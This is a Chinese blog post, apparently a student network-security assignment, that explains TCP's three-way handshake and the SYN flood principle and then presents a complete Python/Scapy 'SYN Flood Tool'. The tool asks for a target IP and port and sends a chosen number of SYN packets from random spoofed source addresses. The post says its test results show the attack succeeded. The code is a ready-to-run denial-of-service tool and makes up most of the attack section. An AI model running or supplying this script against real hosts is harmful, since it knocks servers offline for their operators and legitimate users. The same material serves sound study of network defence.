• SYN泛洪攻击程序设计



    1、相关原理、技术分析

    1.1Dos概念

    💪💪 DOS: 也就是我们所说到的拒绝服务,一切能够引起DoS行为的攻击都被称为DoS攻击,该攻击的效果是使得计算机或者网络无法提供正常的服务。

    💪💪**DOS攻击:** 指的是造成DoS的攻击行为,目的是使攻击目标计算机无法提供正常的服务 。

    1.2TCP三次握手
    1.2.1TCP三次握手图解

    TCP

    1.2.2TCP三次握手解解释
    1. 💎💎 初始状态:

    服务端监听某个端口,处于 LISTEN 状态。 客户端还处在关闭状态

    2.💎💎 客户端发送TCP连接请求

    客户端会随机一个初始序列seq=xseq=x表示最后一个发送的字节编号为x),设置SYN=1(SYN=1表示是连接请求或者接收报文) ,表示这是SYN握手报文。然后就可以把这个 SYN报文发送给服务端了,表示向服务端发起连接,之后客户端处于 同步已发送 状态。

    1. 💎💎 服务端发送针对TCP连接请求的确认

    服务端收到客户端的SYN报文后,也随机一个初始序列号 (seq=y)设置ack=x+1(ack=x+1表示下一个想要接收的字节序列为x+1) 设置 SYN=1 和 ACK=1(ACK=1:表示是确认报文) 最后把该报文发给客户端,该报文也不包含应用层数据,之后服务端处于 同步已接收 状态

    1. 💎💎 客户端发送确认的确认

    客户端收到服务端报文后,还要向服务端回应最后一个应答报文,将ACK置为 1,表示这是一个应答报文ack=y+1 ,表示收到了服务器的y之前的数据,希望服务器下次发送的数据从y+1开始。最后把报文发送给服务端,这次报文可以携带数据,之后客户端处于 连接已建立 状态。服务器收到客户端的应答报文后,也进入连接已建立 状态

    1.2.3 SYN泛洪攻击

    理论: SYN攻击大量发送伪造源IP的第一次握手SYN包,服务器每接收到一个SYN包就会为这个连接信息分配核心内存并放入半连接队列,当攻击的SYN包超过半连接队列的最大值时,正常的客户发送SYN数据包请求连接就会被服务器丢弃。导致正常的连接请求无法成功。

    具体实现如下所示

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwifgKJL-1667049790036)(C:\Users\YK\Desktop\20210110230910658.png)]

    就是程序伪造IP地址,多次与服务器建立第一次连接,而又不接收服务器的请求应答报文,这样服务器多个进程处于连接状态而又不能够解除连接,进而浪费服务器资源

    2、设计思路、算法描述

    Python中 Scapy是一个由Python编写的强大工具,目前很多优秀的网络扫描攻击工具都使用了这个模块。也可以在自己的程序中使用这个模块来实现对网络数据包的发送 ,所以使用了 Scapy 之后,就不需要太多的算法思想了,其中整个代码的思想如下:

    • 第一步,获取要攻击的主机的IP地址和端口,这一步用户可以直接输入
    • 第二步,生成随机的端口和IP地址,因为当你用同一个IP地址去攻击的时候,会被目标主机发现
    • 第三步,生成数据包并发送给目标主机(构造 构造一个HTTP数据包,也可以使用如下这种方式 :)

    IP()/TCP()

    3、详细实现

    ⚠️⚠️以下代码必须在Linux下运行

    from scapy.all import *
    import random
    
    # 生成随机的IP
    def randomIP():
       ip = ".".join(map(str, (random.randint(0, 255) for i in range(4)))) # 随机生成4个数,并以.连接
       return ip  # 返回IP地址
    
    
    # 生成随机端口
    def randomPort():
       port = random.randint(1000, 10000) # 随机生成1000到10000之间的数作为端口
       return port # 返回端口
    
    
    # syn-flood
    def synFlood(count, dstIP, dstPort):
       """
       
       :param count: 要发送的连接请求数量
       :param dstIP: 目的IP地址
       :param dstPort: 目的端口
       :return: 没有返回值
       """
       total = 0
       print("Packets are sending ...")
       for i in range(count): # 进行发送循环
           
           srcIP = randomIP()
           srcPort = randomPort()  # 随机生成攻击IP地址和端口
           
           # 封装包
           IPlayer = IP(src=srcIP, dst=dstIP)
           TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
           
           packet = IPlayer / TCPlayer # 生成包
           send(packet) # 发送包
           total += 1
       print("以全部发送完毕")    
    
    
    def info():
       """
       
       :return: 返回IP地址和端口
       """
       print("#" * 30)
       print("# Welcome to SYN Flood Tool  #")
       print("#" * 30)
       # 输入目标IP和端口
       dstIP = input("Target IP : ")
       dstPort = int(input("Target Port : "))
       return dstIP, dstPort
    
    
    if __name__ == '__main__':
       dstIP, dstPort = info()
       count = int(input("Please input the number of packets:"))
       synFlood(count, dstIP, dstPort)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    4、程序测试、结果分析

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    总体来说,攻击的非常成功

    5、总结

    总体来说还是非常简单的,PYthon的Scapy模块中有封装好的函数可以使用,直接构造HTTP包,然后直接发送就可以了

  • 相关阅读:
    获取两个时间的区间
    XUbuntu22.04之安装pkg-config(一百九十二)
    OpenHarmony Meetup深圳站招募令
    算法的时间复杂度和空间复杂度
    【JavaScript】this指向经典面试题(超详细)
    MySQL常见知识点(面试题)总结
    MarkDown语法——更好地写博客
    FFmpeg 解析Glide 缓存下的图片文件报错(Impossible to open xxx)
    mannose-PEG-Alkyne|甘露糖-聚乙二醇-巯基|巯基修饰甘露糖
    JVM学习笔记(四)类加载与字节码技术
  • 原文地址:https://blog.csdn.net/qq_53568983/article/details/127592326